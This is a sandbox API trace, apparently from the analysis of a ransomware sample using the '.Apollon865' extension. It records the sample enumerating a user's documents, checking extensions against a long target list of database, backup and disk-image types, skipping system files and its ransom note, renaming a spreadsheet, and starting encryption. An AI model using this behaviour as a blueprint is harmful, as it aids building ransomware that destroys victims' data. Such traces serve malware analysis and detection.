	[0088.905] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570eb90, ftCreationTime.dwHighDateTime=0x1d4cb21, ftLastAccessTime.dwLowDateTime=0xa31ce2a0, ftLastAccessTime.dwHighDateTime=0x1d4cec7, ftLastWriteTime.dwLowDateTime=0xa31ce2a0, ftLastWriteTime.dwHighDateTime=0x1d4cec7, nFileSizeHigh=0x0, nFileSizeLow=0xc4c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6nT_BzP0LY40i.xls", cAlternateFileName="6NT_BZ~1.XLS")) returned 1
	[0088.905] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.905] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="Apollon865.txt.exe") returned -1
	[0088.905] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".") returned 1
	[0088.905] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="..") returned 1
	[0088.905] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="windows") returned -1
	[0088.905] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="bootmgr") returned -1
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="temp") returned -1
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="pagefile.sys") returned -1
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="boot") returned -1
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="ids.txt") returned -1
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="ntuser.dat") returned -1
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="perflogs") returned -1
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2="MSBuild") returned -1
	[0088.906] lstrlenW (lpString="6nT_BzP0LY40i.xls") returned 17
	[0088.906] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4iPcCnFP5z2uji9.ppt") returned 59
	[0088.906] lstrcpyW (in: lpString1=0x119e658, lpString2="6nT_BzP0LY40i.xls" | out: lpString1="6nT_BzP0LY40i.xls") returned="6nT_BzP0LY40i.xls"
	[0088.906] lstrlenW (lpString="6nT_BzP0LY40i.xls") returned 17
	[0088.906] lstrlenW (lpString="Apollon865") returned 10
	[0088.906] lstrcmpiW (lpString1="0LY40i.xls", lpString2="Apollon865") returned -1
	[0088.906] lstrlenW (lpString=".dll") returned 4
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".dll") returned 1
	[0088.906] lstrlenW (lpString=".lnk") returned 4
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".lnk") returned 1
	[0088.906] lstrlenW (lpString=".ini") returned 4
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".ini") returned 1
	[0088.906] lstrlenW (lpString=".sys") returned 4
	[0088.906] lstrcmpiW (lpString1="6nT_BzP0LY40i.xls", lpString2=".sys") returned 1
	[0088.906] lstrlenW (lpString="6nT_BzP0LY40i.xls") returned 17
	[0088.906] lstrlenW (lpString="bak") returned 3
	[0088.906] lstrcmpiW (lpString1="xls", lpString2="bak") returned 1
	[0088.906] lstrlenW (lpString="ba_") returned 3
	[0088.906] lstrcmpiW (lpString1="xls", lpString2="ba_") returned 1
	[0088.906] lstrlenW (lpString="dbb") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="dbb") returned 1
	[0088.907] lstrlenW (lpString="vmdk") returned 4
	[0088.907] lstrcmpiW (lpString1=".xls", lpString2="vmdk") returned -1
	[0088.907] lstrlenW (lpString="rar") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="rar") returned 1
	[0088.907] lstrlenW (lpString="zip") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="zip") returned -1
	[0088.907] lstrlenW (lpString="tgz") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="tgz") returned 1
	[0088.907] lstrlenW (lpString="vbox") returned 4
	[0088.907] lstrcmpiW (lpString1=".xls", lpString2="vbox") returned -1
	[0088.907] lstrlenW (lpString="vdi") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="vdi") returned 1
	[0088.907] lstrlenW (lpString="vhd") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="vhd") returned 1
	[0088.907] lstrlenW (lpString="vhdx") returned 4
	[0088.907] lstrcmpiW (lpString1=".xls", lpString2="vhdx") returned -1
	[0088.907] lstrlenW (lpString="avhd") returned 4
	[0088.907] lstrcmpiW (lpString1=".xls", lpString2="avhd") returned -1
	[0088.907] lstrlenW (lpString="db") returned 2
	[0088.907] lstrcmpiW (lpString1="ls", lpString2="db") returned 1
	[0088.907] lstrlenW (lpString="db2") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="db2") returned 1
	[0088.907] lstrlenW (lpString="db3") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="db3") returned 1
	[0088.907] lstrlenW (lpString="dbf") returned 3
	[0088.907] lstrcmpiW (lpString1="xls", lpString2="dbf") returned 1
	[0088.907] lstrlenW (lpString="mdf") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="mdf") returned 1
	[0088.908] lstrlenW (lpString="mdb") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="mdb") returned 1
	[0088.908] lstrlenW (lpString="sql") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="sql") returned 1
	[0088.908] lstrlenW (lpString="sqlite") returned 6
	[0088.908] lstrcmpiW (lpString1="0i.xls", lpString2="sqlite") returned -1
	[0088.908] lstrlenW (lpString="sqlite3") returned 7
	[0088.908] lstrcmpiW (lpString1="40i.xls", lpString2="sqlite3") returned -1
	[0088.908] lstrlenW (lpString="sqlitedb") returned 8
	[0088.908] lstrcmpiW (lpString1="Y40i.xls", lpString2="sqlitedb") returned 1
	[0088.908] lstrlenW (lpString="xml") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="xml") returned -1
	[0088.908] lstrlenW (lpString="$er") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="$er") returned 1
	[0088.908] lstrlenW (lpString="4dd") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="4dd") returned 1
	[0088.908] lstrlenW (lpString="4dl") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="4dl") returned 1
	[0088.908] lstrlenW (lpString="^^^") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="^^^") returned 1
	[0088.908] lstrlenW (lpString="abs") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="abs") returned 1
	[0088.908] lstrlenW (lpString="abx") returned 3
	[0088.908] lstrcmpiW (lpString1="xls", lpString2="abx") returned 1
	[0088.908] lstrlenW (lpString="accdb") returned 5
	[0088.908] lstrcmpiW (lpString1="i.xls", lpString2="accdb") returned 1
	[0088.908] lstrlenW (lpString="accdc") returned 5
	[0088.908] lstrcmpiW (lpString1="i.xls", lpString2="accdc") returned 1
	[0088.909] lstrlenW (lpString="accde") returned 5
	[0088.909] lstrcmpiW (lpString1="i.xls", lpString2="accde") returned 1
	[0088.909] lstrlenW (lpString="accdr") returned 5
	[0088.909] lstrcmpiW (lpString1="i.xls", lpString2="accdr") returned 1
	[0088.909] lstrlenW (lpString="accdt") returned 5
	[0088.909] lstrcmpiW (lpString1="i.xls", lpString2="accdt") returned 1
	[0088.909] lstrlenW (lpString="accdw") returned 5
	[0088.909] lstrcmpiW (lpString1="i.xls", lpString2="accdw") returned 1
	[0088.909] lstrlenW (lpString="accft") returned 5
	[0088.909] lstrcmpiW (lpString1="i.xls", lpString2="accft") returned 1
	[0088.909] lstrlenW (lpString="adb") returned 3
	[0088.909] lstrcmpiW (lpString1="xls", lpString2="adb") returned 1
	[0088.909] lstrlenW (lpString="adb") returned 3
	[0088.909] lstrcmpiW (lpString1="xls", lpString2="adb") returned 1
	[0088.909] lstrlenW (lpString="ade") returned 3
	[0088.909] lstrcmpiW (lpString1="xls", lpString2="ade") returned 1
	[0088.909] lstrlenW (lpString="adf") returned 3
	[0088.909] lstrcmpiW (lpString1="xls", lpString2="adf") returned 1
	[0088.909] lstrlenW (lpString="adn") returned 3
	[0088.909] lstrcmpiW (lpString1="xls", lpString2="adn") returned 1
	[0088.909] lstrlenW (lpString="adp") returned 3
	[0088.909] lstrcmpiW (lpString1="xls", lpString2="adp") returned 1
	[0088.909] lstrlenW (lpString="alf") returned 3
	[0088.909] lstrcmpiW (lpString1="xls", lpString2="alf") returned 1
	[0088.909] lstrlenW (lpString="ask") returned 3
	[0088.909] lstrcmpiW (lpString1="xls", lpString2="ask") returned 1
	[0088.909] lstrlenW (lpString="btr") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="btr") returned 1
	[0088.910] lstrlenW (lpString="cat") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="cat") returned 1
	[0088.910] lstrlenW (lpString="cdb") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="cdb") returned 1
	[0088.910] lstrlenW (lpString="ckp") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="ckp") returned 1
	[0088.910] lstrlenW (lpString="cma") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="cma") returned 1
	[0088.910] lstrlenW (lpString="cpd") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="cpd") returned 1
	[0088.910] lstrlenW (lpString="dacpac") returned 6
	[0088.910] lstrcmpiW (lpString1="0i.xls", lpString2="dacpac") returned -1
	[0088.910] lstrlenW (lpString="dad") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="dad") returned 1
	[0088.910] lstrlenW (lpString="dadiagrams") returned 10
	[0088.910] lstrcmpiW (lpString1="0LY40i.xls", lpString2="dadiagrams") returned -1
	[0088.910] lstrlenW (lpString="daschema") returned 8
	[0088.910] lstrcmpiW (lpString1="Y40i.xls", lpString2="daschema") returned 1
	[0088.910] lstrlenW (lpString="db-journal") returned 10
	[0088.910] lstrcmpiW (lpString1="0LY40i.xls", lpString2="db-journal") returned -1
	[0088.910] lstrlenW (lpString="db-shm") returned 6
	[0088.910] lstrcmpiW (lpString1="0i.xls", lpString2="db-shm") returned -1
	[0088.910] lstrlenW (lpString="db-wal") returned 6
	[0088.910] lstrcmpiW (lpString1="0i.xls", lpString2="db-wal") returned -1
	[0088.910] lstrlenW (lpString="dbc") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="dbc") returned 1
	[0088.910] lstrlenW (lpString="dbs") returned 3
	[0088.910] lstrcmpiW (lpString1="xls", lpString2="dbs") returned 1
	[0088.911] lstrlenW (lpString="dbt") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dbt") returned 1
	[0088.911] lstrlenW (lpString="dbv") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dbv") returned 1
	[0088.911] lstrlenW (lpString="dbx") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dbx") returned 1
	[0088.911] lstrlenW (lpString="dcb") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dcb") returned 1
	[0088.911] lstrlenW (lpString="dct") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dct") returned 1
	[0088.911] lstrlenW (lpString="dcx") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dcx") returned 1
	[0088.911] lstrlenW (lpString="ddl") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="ddl") returned 1
	[0088.911] lstrlenW (lpString="dlis") returned 4
	[0088.911] lstrcmpiW (lpString1=".xls", lpString2="dlis") returned -1
	[0088.911] lstrlenW (lpString="dp1") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dp1") returned 1
	[0088.911] lstrlenW (lpString="dqy") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dqy") returned 1
	[0088.911] lstrlenW (lpString="dsk") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dsk") returned 1
	[0088.911] lstrlenW (lpString="dsn") returned 3
	[0088.911] lstrcmpiW (lpString1="xls", lpString2="dsn") returned 1
	[0088.911] lstrlenW (lpString="dtsx") returned 4
	[0088.911] lstrcmpiW (lpString1=".xls", lpString2="dtsx") returned -1
	[0088.912] lstrlenW (lpString="dxl") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="dxl") returned 1
	[0088.912] lstrlenW (lpString="eco") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="eco") returned 1
	[0088.912] lstrlenW (lpString="ecx") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="ecx") returned 1
	[0088.912] lstrlenW (lpString="edb") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="edb") returned 1
	[0088.912] lstrlenW (lpString="epim") returned 4
	[0088.912] lstrcmpiW (lpString1=".xls", lpString2="epim") returned -1
	[0088.912] lstrlenW (lpString="fcd") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="fcd") returned 1
	[0088.912] lstrlenW (lpString="fdb") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="fdb") returned 1
	[0088.912] lstrlenW (lpString="fic") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="fic") returned 1
	[0088.912] lstrlenW (lpString="flexolibrary") returned 12
	[0088.912] lstrcmpiW (lpString1="zP0LY40i.xls", lpString2="flexolibrary") returned 1
	[0088.912] lstrlenW (lpString="fm5") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="fm5") returned 1
	[0088.912] lstrlenW (lpString="fmp") returned 3
	[0088.912] lstrcmpiW (lpString1="xls", lpString2="fmp") returned 1
	[0088.912] lstrlenW (lpString="fmp12") returned 5
	[0088.912] lstrcmpiW (lpString1="i.xls", lpString2="fmp12") returned 1
	[0088.912] lstrlenW (lpString="fmpsl") returned 5
	[0088.912] lstrcmpiW (lpString1="i.xls", lpString2="fmpsl") returned 1
	[0088.913] lstrlenW (lpString="fol") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="fol") returned 1
	[0088.913] lstrlenW (lpString="fp3") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="fp3") returned 1
	[0088.913] lstrlenW (lpString="fp4") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="fp4") returned 1
	[0088.913] lstrlenW (lpString="fp5") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="fp5") returned 1
	[0088.913] lstrlenW (lpString="fp7") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="fp7") returned 1
	[0088.913] lstrlenW (lpString="fpt") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="fpt") returned 1
	[0088.913] lstrlenW (lpString="frm") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="frm") returned 1
	[0088.913] lstrlenW (lpString="gdb") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="gdb") returned 1
	[0088.913] lstrlenW (lpString="gdb") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="gdb") returned 1
	[0088.913] lstrlenW (lpString="grdb") returned 4
	[0088.913] lstrcmpiW (lpString1=".xls", lpString2="grdb") returned -1
	[0088.913] lstrlenW (lpString="gwi") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="gwi") returned 1
	[0088.913] lstrlenW (lpString="hdb") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="hdb") returned 1
	[0088.913] lstrlenW (lpString="his") returned 3
	[0088.913] lstrcmpiW (lpString1="xls", lpString2="his") returned 1
	[0088.913] lstrlenW (lpString="ib") returned 2
	[0088.913] lstrcmpiW (lpString1="ls", lpString2="ib") returned 1
	[0088.913] lstrlenW (lpString="idb") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="idb") returned 1
	[0088.914] lstrlenW (lpString="ihx") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="ihx") returned 1
	[0088.914] lstrlenW (lpString="itdb") returned 4
	[0088.914] lstrcmpiW (lpString1=".xls", lpString2="itdb") returned -1
	[0088.914] lstrlenW (lpString="itw") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="itw") returned 1
	[0088.914] lstrlenW (lpString="jet") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="jet") returned 1
	[0088.914] lstrlenW (lpString="jtx") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="jtx") returned 1
	[0088.914] lstrlenW (lpString="kdb") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="kdb") returned 1
	[0088.914] lstrlenW (lpString="kexi") returned 4
	[0088.914] lstrcmpiW (lpString1=".xls", lpString2="kexi") returned -1
	[0088.914] lstrlenW (lpString="kexic") returned 5
	[0088.914] lstrcmpiW (lpString1="i.xls", lpString2="kexic") returned -1
	[0088.914] lstrlenW (lpString="kexis") returned 5
	[0088.914] lstrcmpiW (lpString1="i.xls", lpString2="kexis") returned -1
	[0088.914] lstrlenW (lpString="lgc") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="lgc") returned 1
	[0088.914] lstrlenW (lpString="lwx") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="lwx") returned 1
	[0088.914] lstrlenW (lpString="maf") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="maf") returned 1
	[0088.914] lstrlenW (lpString="maq") returned 3
	[0088.914] lstrcmpiW (lpString1="xls", lpString2="maq") returned 1
	[0088.914] lstrlenW (lpString="mar") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mar") returned 1
	[0088.915] lstrlenW (lpString="marshal") returned 7
	[0088.915] lstrcmpiW (lpString1="40i.xls", lpString2="marshal") returned -1
	[0088.915] lstrlenW (lpString="mas") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mas") returned 1
	[0088.915] lstrlenW (lpString="mav") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mav") returned 1
	[0088.915] lstrlenW (lpString="maw") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="maw") returned 1
	[0088.915] lstrlenW (lpString="mdbhtml") returned 7
	[0088.915] lstrcmpiW (lpString1="40i.xls", lpString2="mdbhtml") returned -1
	[0088.915] lstrlenW (lpString="mdn") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mdn") returned 1
	[0088.915] lstrlenW (lpString="mdt") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mdt") returned 1
	[0088.915] lstrlenW (lpString="mfd") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mfd") returned 1
	[0088.915] lstrlenW (lpString="mpd") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mpd") returned 1
	[0088.915] lstrlenW (lpString="mrg") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mrg") returned 1
	[0088.915] lstrlenW (lpString="mud") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mud") returned 1
	[0088.915] lstrlenW (lpString="mwb") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="mwb") returned 1
	[0088.915] lstrlenW (lpString="myd") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="myd") returned 1
	[0088.915] lstrlenW (lpString="ndf") returned 3
	[0088.915] lstrcmpiW (lpString1="xls", lpString2="ndf") returned 1
	[0088.916] lstrlenW (lpString="nnt") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="nnt") returned 1
	[0088.916] lstrlenW (lpString="nrmlib") returned 6
	[0088.916] lstrcmpiW (lpString1="0i.xls", lpString2="nrmlib") returned -1
	[0088.916] lstrlenW (lpString="ns2") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="ns2") returned 1
	[0088.916] lstrlenW (lpString="ns3") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="ns3") returned 1
	[0088.916] lstrlenW (lpString="ns4") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="ns4") returned 1
	[0088.916] lstrlenW (lpString="nsf") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="nsf") returned 1
	[0088.916] lstrlenW (lpString="nv") returned 2
	[0088.916] lstrcmpiW (lpString1="ls", lpString2="nv") returned -1
	[0088.916] lstrlenW (lpString="nv2") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="nv2") returned 1
	[0088.916] lstrlenW (lpString="nwdb") returned 4
	[0088.916] lstrcmpiW (lpString1=".xls", lpString2="nwdb") returned -1
	[0088.916] lstrlenW (lpString="nyf") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="nyf") returned 1
	[0088.916] lstrlenW (lpString="odb") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="odb") returned 1
	[0088.916] lstrlenW (lpString="odb") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="odb") returned 1
	[0088.916] lstrlenW (lpString="oqy") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="oqy") returned 1
	[0088.916] lstrlenW (lpString="ora") returned 3
	[0088.916] lstrcmpiW (lpString1="xls", lpString2="ora") returned 1
	[0088.916] lstrlenW (lpString="orx") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="orx") returned 1
	[0088.917] lstrlenW (lpString="owc") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="owc") returned 1
	[0088.917] lstrlenW (lpString="p96") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="p96") returned 1
	[0088.917] lstrlenW (lpString="p97") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="p97") returned 1
	[0088.917] lstrlenW (lpString="pan") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="pan") returned 1
	[0088.917] lstrlenW (lpString="pdb") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="pdb") returned 1
	[0088.917] lstrlenW (lpString="pdm") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="pdm") returned 1
	[0088.917] lstrlenW (lpString="pnz") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="pnz") returned 1
	[0088.917] lstrlenW (lpString="qry") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="qry") returned 1
	[0088.917] lstrlenW (lpString="qvd") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="qvd") returned 1
	[0088.917] lstrlenW (lpString="rbf") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="rbf") returned 1
	[0088.917] lstrlenW (lpString="rctd") returned 4
	[0088.917] lstrcmpiW (lpString1=".xls", lpString2="rctd") returned -1
	[0088.917] lstrlenW (lpString="rod") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="rod") returned 1
	[0088.917] lstrlenW (lpString="rodx") returned 4
	[0088.917] lstrcmpiW (lpString1=".xls", lpString2="rodx") returned -1
	[0088.917] lstrlenW (lpString="rpd") returned 3
	[0088.917] lstrcmpiW (lpString1="xls", lpString2="rpd") returned 1
	[0088.917] lstrlenW (lpString="rsd") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="rsd") returned 1
	[0088.918] lstrlenW (lpString="sas7bdat") returned 8
	[0088.918] lstrcmpiW (lpString1="Y40i.xls", lpString2="sas7bdat") returned 1
	[0088.918] lstrlenW (lpString="sbf") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="sbf") returned 1
	[0088.918] lstrlenW (lpString="scx") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="scx") returned 1
	[0088.918] lstrlenW (lpString="sdb") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="sdb") returned 1
	[0088.918] lstrlenW (lpString="sdc") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="sdc") returned 1
	[0088.918] lstrlenW (lpString="sdf") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="sdf") returned 1
	[0088.918] lstrlenW (lpString="sis") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="sis") returned 1
	[0088.918] lstrlenW (lpString="spq") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="spq") returned 1
	[0088.918] lstrlenW (lpString="te") returned 2
	[0088.918] lstrcmpiW (lpString1="ls", lpString2="te") returned -1
	[0088.918] lstrlenW (lpString="teacher") returned 7
	[0088.918] lstrcmpiW (lpString1="40i.xls", lpString2="teacher") returned -1
	[0088.918] lstrlenW (lpString="tmd") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="tmd") returned 1
	[0088.918] lstrlenW (lpString="tps") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="tps") returned 1
	[0088.918] lstrlenW (lpString="trc") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="trc") returned 1
	[0088.918] lstrlenW (lpString="trc") returned 3
	[0088.918] lstrcmpiW (lpString1="xls", lpString2="trc") returned 1
	[0088.918] lstrlenW (lpString="trm") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="trm") returned 1
	[0088.919] lstrlenW (lpString="udb") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="udb") returned 1
	[0088.919] lstrlenW (lpString="udl") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="udl") returned 1
	[0088.919] lstrlenW (lpString="usr") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="usr") returned 1
	[0088.919] lstrlenW (lpString="v12") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="v12") returned 1
	[0088.919] lstrlenW (lpString="vis") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="vis") returned 1
	[0088.919] lstrlenW (lpString="vpd") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="vpd") returned 1
	[0088.919] lstrlenW (lpString="vvv") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="vvv") returned 1
	[0088.919] lstrlenW (lpString="wdb") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="wdb") returned 1
	[0088.919] lstrlenW (lpString="wmdb") returned 4
	[0088.919] lstrcmpiW (lpString1=".xls", lpString2="wmdb") returned -1
	[0088.919] lstrlenW (lpString="wrk") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="wrk") returned 1
	[0088.919] lstrlenW (lpString="xdb") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="xdb") returned 1
	[0088.919] lstrlenW (lpString="xld") returned 3
	[0088.919] lstrcmpiW (lpString1="xls", lpString2="xld") returned 1
	[0088.919] lstrlenW (lpString="xmlff") returned 5
	[0088.919] lstrcmpiW (lpString1="i.xls", lpString2="xmlff") returned -1
	[0088.919] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6nT_BzP0LY40i.xls.Apollon865") returned 68
	[0088.920] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6nT_BzP0LY40i.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6nt_bzp0ly40i.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6nT_BzP0LY40i.xls.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6nt_bzp0ly40i.xls.apollon865"), dwFlags=0x1) returned 1
	[0088.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6nT_BzP0LY40i.xls.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6nt_bzp0ly40i.xls.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.922] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=50377) returned 1
	[0088.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.923] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.923] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.924] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.924] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.924] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc7d0, lpName=0x0) returned 0x15c
